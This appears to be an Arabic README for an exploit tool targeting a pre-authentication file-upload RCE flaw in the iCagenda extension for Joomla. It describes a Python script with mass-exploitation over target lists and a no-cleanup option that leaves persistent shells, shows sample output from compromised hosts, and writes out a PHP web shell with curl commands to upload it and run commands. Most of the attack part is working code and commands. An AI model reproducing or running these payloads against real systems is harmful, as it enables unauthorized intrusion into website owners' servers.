
استغلال RCE لرفع ملفات تعسفية قبل المصادقة لإضافة iCagenda في Joomla < 4.0.8 (CVSS 10.0)
CVE-2026-48939 هي ثغرة حرجة بتقييم CVSS 10.0 في إضافة تقويم الأحداث iCagenda لمنصة Joomla. تفرض ميزة إرفاق الملفات في نموذج تسجيل الأحداث بالواجهة الأمامية ضوابط الوصول على مستوى طبقة العرض فقط — وليس على مستوى المتحكم — مما يسمح برفع الملفات دون مصادقة ودون أي تحقق من الامتداد.
تُخزَّن الملفات المرفوعة مباشرةً تحت الجذر الرئيسي لموقع الويب في المسار /images/icagenda/frontend/attachments/ وتكون قابلة للتنفيذ فورًا كـ PHP.
| إصدار iCagenda | الحالة |
|---|---|
| 3.2.1 – 3.9.14 | قابلة للاستغلال |
| 4.0.0 – 4.0.7 | قابلة للاستغلال |
| 3.9.15 / 4.0.8+ | مُصحَّحة |
يعالج المتحكم registration.submit عمليات رفع الملفات دون فرض تقييد الوصول "المسجلون فقط" المُعدّ في إعدادات المكوّن. تُكتب الملفات المرفوعة بامتدادها الأصلي دون أي قائمة مسموحات أو فحص لنوع MIME أو تحقق من المحتوى.
View Layer → "Registered Only" enforced (attempts to block)
Controller → No auth check whatsoever (trivially bypassed by POST)
File Handler → No extension allowlist, no MIME check, no content scan
Destination → Web-accessible directory → PHP executes directly
POST /index.php?option=com_icagenda&task=registration.submit
jform[attachment] = shell.php → saved to /images/icagenda/frontend/attachments/
GET /images/icagenda/frontend/attachments/shell_TIMESTAMP.php?cmd=id
→ PHP executed → RCE
git clone https://github.com/shinthink/CVE-2026-48939.git
cd CVE-2026-48939
pip install -r requirements.txt
# Single target
python cve_2026_48939.py -t target.com
# Mass exploit
python cve_2026_48939.py -f targets.txt
# Persistent shell (no cleanup)
python cve_2026_48939.py -t target.com --no-cleanup
# Save results
python cve_2026_48939.py -f targets.txt -o rce.txt
-t, --target Single target (domain or IP)
-f, --file Target list, one per line
-o, --output Save RCE results to file
--threads Concurrent workers (default: 25)
--no-cleanup Leave shells on target
-v, --verbose Show detailed output
$ python cve_2026_48939.py -t target.com -v
CVE-2026-48939 — iCagenda Joomla RCE Exploit
CVSS 10.0 | Pre-Auth | File Upload → RCE
[+] POST registration.submit (jform[attachment]): HTTP 200
[+] Shell: https://target.com/images/icagenda/frontend/attachments/ic_a3f2b9c1.php
Host : target.com
iCagenda : YES v4.0.5
Vuln : YES
RCE : YES
Shell : https://target.com/images/icagenda/frontend/attachments/ic_a3f2b9c1.php
Output : uid=1001(www-data) gid=1001(www-data) groups=1001(www-data)
Time : 3.2s
CVE-2026-48939 iCagenda RCE Exploit
Targets: 500 | Threads: 25 | Cleanup: ON
-------------------------------------------------------
[RCE] target-1.com v4.0.5 3.2s
uid=1001(www-data) gid=1001(www-data)
[RCE] target-2.com v3.9.12 4.1s
uid=33(www-data) gid=33(www-data)
-------------------------------------------------------
Total: 500 | iCagenda: 23 | RCE: 8
-------------------------------------------------------
الخطوة 1 — رفع قشرة ويب PHP
cat > shell.php << 'EOF'
<?php echo "OK|".php_uname(); system($_GET["c"]); ?>
EOF
curl -sk -X POST \
-F "title=Event" \
-F "jform[attachment][email protected];type=application/x-php" \
"https://target.com/index.php?option=com_icagenda&task=registration.submit"
الخطوة 2 — تنفيذ الأوامر
curl -sk "https://target.com/images/icagenda/frontend/attachments/shell_TIMESTAMP.php?c=id"
لأغراض التعليم والاختبار المصرح به فقط.
هذا البرنامج مخصص لمتخصصي الأمن الذين يجرون اختبارات اختراق مصرحًا بها، وللمؤسسات التي تدقق بنيتها التحتية الخاصة، وللباحثين الذين يدرسون استغلال الثغرات الأمنية.
الوصول غير المصرح به إلى أنظمة الحاسوب غير قانوني وقد ينتهك:
- الولايات المتحدة: قانون الاحتيال وإساءة استخدام الحاسوب (18 U.S.C. 1030)
- إندونيسيا: UU ITE المواد 30 و46
- الاتحاد الأوروبي: التوجيه 2013/40/EU
- المملكة المتحدة: قانون إساءة استخدام الحاسوب لعام 1990
لا يتحمل المؤلفون أي مسؤولية عن سوء الاستخدام.
| المورد | الرابط |
|---|---|
| تنبيه IONIX | ionix.io/threat-center/cve-2026-48939 |
| مدخل NVD | CVE-2026-48939 |
| سجل تغييرات iCagenda | icagenda.com/docs |
هذا المشروع غير تابع لـ iCagenda أو Joomlic.